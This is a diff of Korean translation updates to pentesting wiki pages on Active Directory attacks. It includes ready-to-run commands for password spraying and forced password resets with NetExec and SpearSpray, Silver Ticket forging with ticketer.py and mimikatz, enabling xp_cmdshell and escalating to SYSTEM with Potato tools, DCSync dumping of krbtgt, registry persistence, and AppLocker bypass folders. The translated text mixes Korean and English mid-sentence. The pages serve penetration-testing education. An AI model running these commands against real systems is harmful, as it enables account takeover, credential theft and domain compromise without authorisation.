../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Invoke-SprayEmptyPassword
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- 빈 password로 스프레이하고, hits가 나오면 계속 진행해 'must change at next logon' 상태인 계정을 캡처하세요:
- Spray an empty password을 사용하고 hits 발생 시 계속 진행하여 next logon 시 변경해야 하는 계정을 캡처하세요:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- 각 hit에 대해, NetExecs module로 SAMR을 통해 비밀번호를 변경하세요 (계정에 "must change"가 설정되어 있으면 이전 비밀번호가 필요 없습니다):
- 각 히트마다 SAMR을 통해 NetExecs module로 비밀번호를 변경하세요("must change"가 설정된 경우 이전 비밀번호가 필요 없음):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -113,9 +113,9 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
운영 참고:
- Kerberos 기반 작업을 수행하기 전에 호스트 시계가 DC와 동기화되어 있는지 확인하세요: `sudo ntpdate <dc_fqdn>`.
- 일부 모듈(e.g., RDP/WinRM)에서 (Pwn3d!)가 없는 [+] 표시는 creds가 유효하지만 계정에 인터랙티브 로그온 권한이 없음을 의미합니다.
운영 노트:
- Kerberos 기반 작업 전에 호스트 시계가 DC와 동기화되어 있는지 확인하세요: `sudo ntpdate <dc_fqdn>`.
- 일부 모듈(예: RDP/WinRM)에서 (Pwn3d!) 없이 [+]가 표시되면 creds는 유효하지만 계정에 대화형 로그온 권한이 없습니다.
## Brute Force
```bash
@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying는 SMB/NTLM/LDAP 바인드 시도에 비해 노이즈를 줄이고 AD 잠금 정책과 더 잘 맞습니다. SpearSpray는 LDAP 기반 타깃팅, 패턴 엔진, 그리고 정책 인식(도메인 정책 + PSOs + badPwdCount 버퍼)을 결합하여 정밀하고 안전하게 스프레이합니다. 또한 손상된 principals를 Neo4j에 태그하여 BloodHound 경로 분석에 사용할 수 있습니다.
Kerberos pre-authbased spraying은 SMB/NTLM/LDAP bind 시도에 비해 노이즈를 줄이고 AD lockout 정책과 더 잘 맞습니다. SpearSpray는 LDAP-driven 타겟팅, 패턴 엔진, 그리고 정책 인식(domain policy + PSOs + badPwdCount buffer)을 결합해 정밀하고 안전하게 spray합니다. 또한 Neo4j에 compromised principals를 태그하여 BloodHound 경로 분석에 사용할 수 있습니다.
Key ideas:
- 페이징 및 LDAPS 지원을 포함한 LDAP 사용자 검색(선택적으로 사용자 정의 LDAP 필터 사용 가능).
- 도메인 잠금 정책 + PSO 인식 필터링을 통해 설정 가능한 시도 버퍼(임계값)를 남겨 사용자 잠금을 방지.
- 빠른 gssapi 바인딩을 사용하는 Kerberos pre-auth 검증(DCs에서 4625 대신 4768/4771 생성).
- 이름과 같은 변수 및 각 사용자의 pwdLastSet에서 파생된 시간 값을 사용한 패턴 기반 사용자별 비밀번호 생성.
- 스레드, 지터, 초당 최대 요청 수로 처리량 제어.
- 선택적 Neo4j 통합으로 소유한 사용자를 표시하여 BloodHound에 활용.
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
Basic usage and discovery:
```bash
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
은밀성 및 안전 제:
은밀성 및 안전 제:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -161,7 +161,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound 데이터 보강:
Neo4j/BloodHound 정보 보강:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
@ -174,29 +174,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
{samaccountname}
{extra}{separator}{year}{suffix}
```
Available variables include:
사용 가능한 변수:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
- 각 사용자의 pwdLastSet(또는 whenCreated)에서 파생되는 시간 값: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- 조합 도우미 및 조직 토큰: {separator}, {suffix}, {extra}
운영 노트:
- 가장 권위 있는 badPwdCount 및 정책 관련 정보를 읽기 위해 -dc로 PDC-emulator를 조회하는 것을 권장합니다.
- badPwdCount 재설정은 관찰 창(observation window) 이후 다음 시도에서 트리거됩니다; 안전을 위해 임계값과 타이밍을 사용하세요.
- Kerberos pre-auth 시도가 DC telemetry에서 4768/4771로 표시됩니다; 섞여들어가기 위해 jitter 및 rate-limiting을 사용하세요.
운영 참고:
- 가장 신뢰할 수 있는 badPwdCount 및 정책 관련 정보를 읽기 위해 -dc로 PDC-emulator를 조회하는 것을 권장합니다.
- badPwdCount 리셋은 관찰 창 이후 다음 시도에서 트리거됩니다; 안전을 유지하려면 임계값과 타이밍을 사용하세요.
- Kerberos pre-auth 시도는 DC 텔레메트리에서 4768/4771로 나타납니다; 섞이기 위해 jitter와 rate-limiting을 사용하세요.
> : SpearSprays default LDAP page size is 200; adjust with -lps as needed.
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
p**assword spraying outlook**에 사용할 수 있는 여러 도구들이 있습니다.
p**assword spraying outlook**을 위한 도구가 여러 개 있습니다.
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) 사용
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) 사용
- [Ruler](https://github.com/sensepost/ruler) (신뢰할 수 있음!)
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- [Ruler](https://github.com/sensepost/ruler) 사용 (신뢰할 만함!)
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) 사용 (Powershell)
- [MailSniper](https://github.com/dafthack/MailSniper) 사용 (Powershell)
이 도구들을 사용하려면 사용자 목록과 spray할 password 또는 소규모 password 목록이 필요합니다.
이 도구들을 사용하려면 사용자 목록과 시도할 password 또는 소수의 password 목록이 필요합니다.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -215,7 +215,7 @@ p**assword spraying outlook**에 사용할 수 있는 여러 도구들이 있습
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## 참고 자료
## 참고자료
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)

View File

@ -6,13 +6,13 @@
## Silver ticket
The **Silver Ticket** 공격은 Active Directory (AD) 환경에서 service tickets를 악용하는 기법입니다. 이 방법은 컴퓨터 계정과 같은 예시를 포함하여 **acquiring the NTLM hash of a service account**를 통해 Ticket Granting Service (TGS) 티켓을 위조하는 데 의존합니다. 이렇게 위조된 티켓으로 공격자는 네트워크의 특정 서비스에 접근하여, 보통 관리자 권한을 목표로 **impersonating any user**할 수 있습니다. 티켓을 위조할 때 AES keys를 사용하는 것이 더 안전하고 탐지 가능성이 낮다는 점이 강조됩니다.
**Silver Ticket** 공격은 Active Directory (AD) 환경에서 서비스 티켓을 악용하는 기법입니다. 이 방법은 컴퓨터 계정과 같은 서비스 계정의 **NTLM 해시를 획득**하여 Ticket Granting Service (TGS) 티켓을 위조하는 것에 기반합니다. 이렇게 위조된 티켓을 통해 공격자는 네트워크의 특정 서비스에 접근하여 일반적으로 관리자 권한을 목표로 **임의의 사용자를 가장**할 수 있습니다. 티켓 위조에 AES 키를 사용하는 것이 더 안전하고 탐지가 더 어렵다는 점이 강조됩니다.
> [!WARNING]
> Silver Tickets는 Golden Tickets보다 덜 탐지됩니다. 그 이유는 krbtgt account가 아니라 **hash of the service account**만 필요하기 때문입니다. 그러나 이들은 표적이 된 특정 서비스로만 제한됩니다. 또한 단순히 사용자의 비밀번호를 탈취하는 것만으로도 가능할 수 있습니다.
> 만약 **account's password with a SPN**를 탈취한다면, 그 비밀번호를 사용해 해당 서비스에 대해 Silver Ticket을 생성하여 impersonating any user 할 수 있습니다.
> Silver Tickets는 Golden Tickets보다 탐지가 덜합니다. 그 이유는 krbtgt 계정이 아니라 서비스 계정의 **해시**만 필요하기 때문입니다. 그러나 Silver Tickets는 대상이 되는 특정 서비스로만 제한됩니다. 또한 단순히 사용자의 비밀번호를 훔치는 것만으로도 가능합니다.
> 더 나아가, 만약 **SPN을 가진 계정의 비밀번호**를 탈취하면 그 비밀번호를 사용해 해당 서비스에 대해 어떤 사용자로든 가장하는 Silver Ticket을 생성할 수 있습니다.
티켓 생성(조작)에는 운영체제에 따라 다양한 도구가 사용됩니다:
For ticket crafting, different tools are employed based on the operating system:
### On Linux
```bash
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적인 표적으로 강조되지만, HOST 및 RPCSS와 같은 다른 서비스들도 작업 및 WMI 쿼리 수행에 악용될 수 있다.
The CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적인 타깃으로 강조되지만, HOST나 RPCSS 같은 다른 서비스도 작업 및 WMI 쿼리 수행에 악용될 수 있습니다.
### 예: MSSQL service (MSSQLSvc) + Potato to SYSTEM
### 예시: MSSQL 서비스 (MSSQLSvc) + Potato로 SYSTEM
SQL 서비스 계정(e.g., sqlsvc)의 NTLM 해시(또는 AES 키)를 가지고 있다면 MSSQL SPN에 대해 TGS를 위조하여 SQL 서비스에 대해 임의의 사용자로 가장할 수 있다. 그곳에서 xp_cmdshell을 활성화하여 SQL 서비스 계정 권한으로 명령을 실행할 수 있다. 해당 토큰에 SeImpersonatePrivilege가 있다면, Potato를 연결해 SYSTEM으로 권한을 상승시킬 수 있다.
SQL 서비스 계정(예: sqlsvc)의 NTLM 해시(또는 AES 키)를 가지고 있다면 MSSQL SPN에 대한 TGS를 위조하여 SQL 서비스에 대해 임의의 사용자로 가장할 수 있습니다. 그 이후에 xp_cmdshell을 활성화하면 SQL 서비스 계정 권한으로 명령을 실행할 수 있습니다. 해당 토큰에 SeImpersonatePrivilege가 있다면 Potato를 이용해 SYSTEM으로 권한 상승을 시도할 수 있습니다.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- 결과 컨텍스트에 SeImersonatePrivilege 권한이 있으면(종종 service accounts의 경우에 해당), Potato 변형을 사용해 SYSTEM을 얻으세요:
- 결과 컨텍스트에 SeImpersonatePrivilege (종종 service accounts에 해당)가 있으면, SYSTEM을 얻기 위해 Potato variant를 사용하세요:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
MSSQL을 악용하고 xp_cmdshell을 활성화하는 방법에 대한 자세한 내용:
MSSQL 남용 및 xp_cmdshell 활성화에 대한 자세한 내용:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Potato 기법 개요:
Potato techniques 개요:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@ -73,18 +73,18 @@ Potato 기법 개요:
## 사용 가능한 서비스
| 서비스 유형 | 서비스 Silver Tickets |
| Service Type | 서비스 Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>OS에 따라 추가로:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>경우에 따라 단순히 요청할 수도 있습니다: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
**Rubeus**를 사용하면 다음 매개변수를 통해 이 모든 티켓을 **요청할 수 있습니다**:
**Rubeus**를 사용하면 다음 파라미터로 이러한 티켓을 모두 요청할 수 있습니다:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
@ -94,23 +94,23 @@ Potato 기법 개요:
- 4634: 계정 로그오프
- 4672: 관리자 로그온
## 영속성
## Persistence
머신이 30일마다 암호를 변경하지 않도록 하려면 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`로 설정하거나, 머신 암호의 회전 주기를 늘리려면 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`를 30일보다 큰 값으로 설정하세요.
머신이 30일마다 암호를 갱신하지 않도록 하려면 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`로 설정하거나, 머신 암호의 회전 주기를 더 길게 하려면 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`를 30일보다 큰 값으로 설정할 수 있습니다.
## 서비스 티켓 악용
## Service tickets 악용
다음 예에서는 티켓이 administrator 계정을 가장하여 획득되었다고 가정합니다.
다음 예에서는 티켓이 administrator 계정을 사칭하여 획득되었다고 가정합니다.
### CIFS
이 티켓을 사용하면 `C$``ADMIN$` 폴더에 **SMB**를 통해 접근할 수 있으며(노출되어 있는 경우) 다음과 같이 원격 파일시스템의 일부에 파일을 복사할 수 있습니다:
이 티켓으로 **SMB**를 통해 원격의 `C$``ADMIN$` 폴더(노출된 경우)에 접근할 수 있으며, 원격 파일시스템의 일부로 파일을 복사할 수 있습니다. 예:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
당신은 또한 호스트 내부에서 셸을 획득하거나 **psexec**를 사용해 임의의 명령을 실행할 수 있습니다:
또한 **psexec**를 사용하여 호스트 내부에서 셸을 얻거나 임의의 명령을 실행할 수 있습니다:
{{#ref}}
@ -119,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### 호스트
이 권한으로 원격 컴퓨터에 예약 작업을 생성하고 임의의 명령을 실행할 수 있습니다:
이 권한으로 원격 컴퓨터에 예약 작업을 생성하고 임의의 명령을 실행할 수 있습니다:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
tickets를 사용하면 대상 시스템에서 **WMI를 실행할 수 있습니다**:
티켓들로 **피해자 시스템에서 WMI를 실행할 수 있습니다**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -143,36 +143,35 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Find **more information about wmiexec** in the following page:
다음 페이지에서 **wmiexec에 대한 자세한 정보**를 확인하세요:
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### 호스트 + WSMAN (WINRM)
### HOST + WSMAN (WINRM)
컴퓨터에 대한 winrm 접근 권한이 있으면 **해당 컴퓨터에 접속**하거나 심지어 PowerShell을 얻을 수 있습니다:
컴퓨터에 대한 winrm 접근 권한이 있으면 **접속할 수 있으며** 심지어 PowerShell을 얻을 수 있습니다:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Check the following page to learn **more ways to connect with a remote host using winrm**:
다음 페이지를 확인하여 원격 호스트에 연결하는 **winrm을 사용한 추가 방법**을 알아보세요:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> 원격 컴퓨터에 접근하려면 **winrm이 활성화되어 있고 수신(listening) 상태여야 합니다**.
> 원격 컴퓨터에 접근하려면 **winrm이 활성화되어 수신 대기 중이어야 합니다**.
### LDAP
이 권한으로 **DCSync**를 사용 DC 데이터베이스를 덤프할 수 있습니다:
이 권한으로 **DCSync**를 사용하여 DC 데이터베이스를 덤프할 수 있습니다:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync에 대해 알아보세요** 다음 페이지에서:
**DCSync에 대해 자세히 알아보세요** 다음 페이지에서:
{{#ref}}
@ -180,7 +179,7 @@ dcsync.md
{{#endref}}
## 참고 자료
## 참고자료
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)

View File

@ -4,14 +4,14 @@
## AppLocker 정책
애플리케이션 화이트리스트는 시스템에 존재하거나 실행되는 것을 허용하는 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록입니다. 목표는 조직의 특정 비즈니스 요구에 부합하지 않는 유해한 멀웨어 및 승인되지 않은 소프트웨어로부터 환경을 보호하는 것입니다.
애플리케이션 화이트리스트는 시스템에 존재하거나 실행되는 것이 허용된 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록이다. 목적은 조직의 특정 비즈니스 요구에 부합하지 않는 유해한 malware와 승인되지 않은 소프트웨어로부터 환경을 보호하는 것이다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 은 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션과 파일을 제어**할 수 있게 합니다. 이 솔루션은 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지된 앱 및 패키지 앱 설치 프로그램에 대해 **세밀한 제어**를 제공합니다.\
조직에서는 **cmd.exe 및 PowerShell.exe를 차단**하거나 특정 디렉터리에 대한 쓰기 권한을 제한하는 경우가 일반적이지만, **이러한 조치는 모두 우회될 수 있습니다**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 은 Microsoft의 **애플리케이션 화이트리스트 솔루션**이며 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션과 파일을 제어할 수 있게** 해준다. 또한 executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers에 대해 **세부적인 제어**를 제공한다.\
조직에서는 **cmd.exe and PowerShell.exe**와 특정 디렉터리에 대한 쓰기 권한을 차단하는 경우가 흔하지만, **이 모든 것은 우회될 수 있다**.
### 확인
어떤 파일/확장자가 블랙리스트/화이트리스트에 있는지 확인:
어떤 파일/확장자가 blacklisted/whitelisted 되어 있는지 확인:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
이 레지스트리 경로에는 AppLocker에 의해 적용된 구성 및 정책이 포함되어 있으며, 시스템에서 적용 중인 규칙 집합을 검토할 수 있는 방법을 제공합니다:
이 레지스트리 경로는 AppLocker에 의해 적용된 구성과 정책을 포함하고 있으며, 시스템에 적용된 현재 규칙 집합을 검토할 수 있는 방법을 제공합니다:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
- 유용한 **Writable folders** to bypass AppLocker Policy: AppLocker가 `C:\Windows\System32` 또는 `C:\Windows` 내부의 어떤 실행도 허용하는 경우, 이를 **bypass**하기 위해 사용할 수 있는 **writable folders**가 있습니다.
- AppLocker 정책을 우회하는 데 유용한 **Writable folders**: AppLocker가 `C:\Windows\System32` 또는 `C:\Windows` 내부에서 어떤 것이든 실행하도록 허용한다면, 이를 **bypass this**하기 위해 사용할 수 있는 **writable folders**가 있습니다.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- 일반적으로 **신뢰된** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker 우회에 유용할 수 있다.
- **부실하게 작성된 규칙 우회될 수 있다**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`라는 폴더를** 생성하면 허용된다.
- 조직은 종종 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일 차단에 주력하지만, `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe``PowerShell_ISE.exe`와 같은 **다른** PowerShell 실행 파일 위치를 간과한다.
- DLL 강제 적용은 시스템에 추가 부하를 줄 수 있고, 아무것도 깨지지 않도록 보장하기 위한 테스트 양 때문에 거의 활성화되지 않는다. 따라서 **DLL을 백도어로 사용하면 AppLocker를 우회하는 데 도움이 된다**.
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 임의 프로세스에서 Powershell 코드를 실행하고 AppLocker를 우회할 수 있다. 자세한 내용은 다음을 확인하라: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
- 일반적으로 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker 우회하는 데 유용할 수 있다.
- **부실하게 작성된 규칙 우회될 수 있다**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 아무 곳에나 **`allowed`라는 폴더**를 만들면 허용된다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일을 차단하는 데** 집중하지만, `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe``PowerShell_ISE.exe`와 같은 **다른** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)를 잊는다.
- **DLL enforcement는 시스템에 추가 부하와 광범위한 테스트 필요성 때문에 거의 활성화되지 않는다**. 따라서 **DLL을 백도어로 사용하면 AppLocker를 우회하는 데 도움이 된다**.
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용해 어떤 프로세스에서든 **Powershell 코드를 실행**하고 AppLocker를 우회할 수 있다. 자세한 내용은 다음을 확인하라: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## 자격 증명 저장소
## Credentials Storage
### 보안 계정 관리자 (SAM)
### Security Accounts Manager (SAM)
로컬 자격 증명은 이 파일에 존재하며, 비밀번호는 해시되어 있다.
### 로컬 보안 권한 (LSA) - LSASS
### Local Security Authority (LSA) - LSASS
당 서브시스템의 **메모리**에 **자격 증명**(해시된 형태)이 **저장**되어 Single Sign-On을 위해 사용된다.\
시된 **자격 증명**은 Single Sign-On을 위해 이 서브시스템의 **메모리**에 **저장**된다.\
**LSA**는 로컬 **보안 정책**(비밀번호 정책, 사용자 권한 등), **인증**, **액세스 토큰** 등을 관리한다.\
LSA는 로컬 로그인 시 제공된 자격 증명을 **SAM** 파일에서 **확인**하고 도메인 사용자를 인증하기 위해 **도메인 컨트롤러**와 **통신**한다.
LSA는 로컬 로그인을 위해 **SAM** 파일 내에서 제공된 자격 증명을 **검증**하고 도메인 사용자를 인증하기 위해 **도메인 컨트롤러**와 **통신**한다.
자격 증명은 **LSASS** 프로세스 내부에 저장된다: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화 가능한 비밀번호.
**자격 증명****LSASS 프로세스** 내부에 **저장**된다: Kerberos 티켓, NT 및 LM 해시, 쉽게 복호화 가능한 비밀번호.
### LSA secrets
LSA는 디스크에 몇몇 자격 증명을 저장할 수 있다:
LSA는 디스크에 일부 자격 증명을 저장할 수 있다:
- Active Directory 컴퓨터 계정의 비밀번호(도달할 수 없는 도메인 컨트롤러).
- Active Directory의 컴퓨터 계정 비밀번호 (도메인 컨트롤러에 접근 불가한 경우).
- Windows 서비스 계정의 비밀번호
- 예약된 작업의 비밀번호
- 그 외 (IIS 애플리케이션의 비밀번호...)
- 기타 (IIS 애플리케이션의 비밀번호 등...)
### NTDS.dit
이는 Active Directory의 데이터베이스로, Domain Controller에만 존재한다.
Active Directory의 데이터베이스이다. 도메인 컨트롤러에만 존재한다.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10과 Windows 11, 그리고 Windows Server 버전에서 제공되는 안티바이러스다. 일반적인 pentesting 도구들(예: **`WinPEAS`**)을 차단한다. 하지만 이러한 보호를 우회하는 방법들이 있다.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용 가능한 안티바이러스이다. 이는 **`WinPEAS`** 같은 일반적인 pentesting 도구를 **차단**한다. 그러나 이러한 보호를 **우회**할 방법이 있다.
### 확인
### Check
Defender의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있다(활성화 여부는 **`RealTimeProtectionEnabled`** 값을 확인):
Defender의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있다 (활성화 여부를 알기 위해 **`RealTimeProtectionEnabled`** 값을 확인):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
열거하려면 다음을 실행할 수도 있다:
자세히 확인하려면 다음을 실행할 수도 있다:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -103,95 +103,96 @@ sc query windefend
```
## 암호화된 파일 시스템 (EFS)
EFS는 **대칭 키**로 알려진 **File Encryption Key (FEK)**을 사용해 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때는 사용자의 디지털 인증서에 해당하는 **개인 키**로 $EFS 스트림에서 FEK를 복호화합니다. 자세한 내용은 [here](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인하세요.
EFS는 **대칭 키**인 **File Encryption Key (FEK)**를 사용해 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때는 사용자의 디지털 인증서에 해당하는 **개인 키**로 $EFS 스트림에서 FEK를 복호화하여 사용합니다. 자세한 내용은 [here](https://en.wikipedia.org/wiki/Encrypting_File_System)를 참조하세요.
**사용자 개입 없이 발생하는 복호화 시나리오**에는 다음이 포함됩니다:
**사용자 개입 없이 발생하는 복호화 시나리오**는 다음과 같습니다:
- 파일이나 폴더가 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)와 같은 EFS를 지원하지 않는 파일 시스템으로 이동되면 자동으로 복호화됩니다.
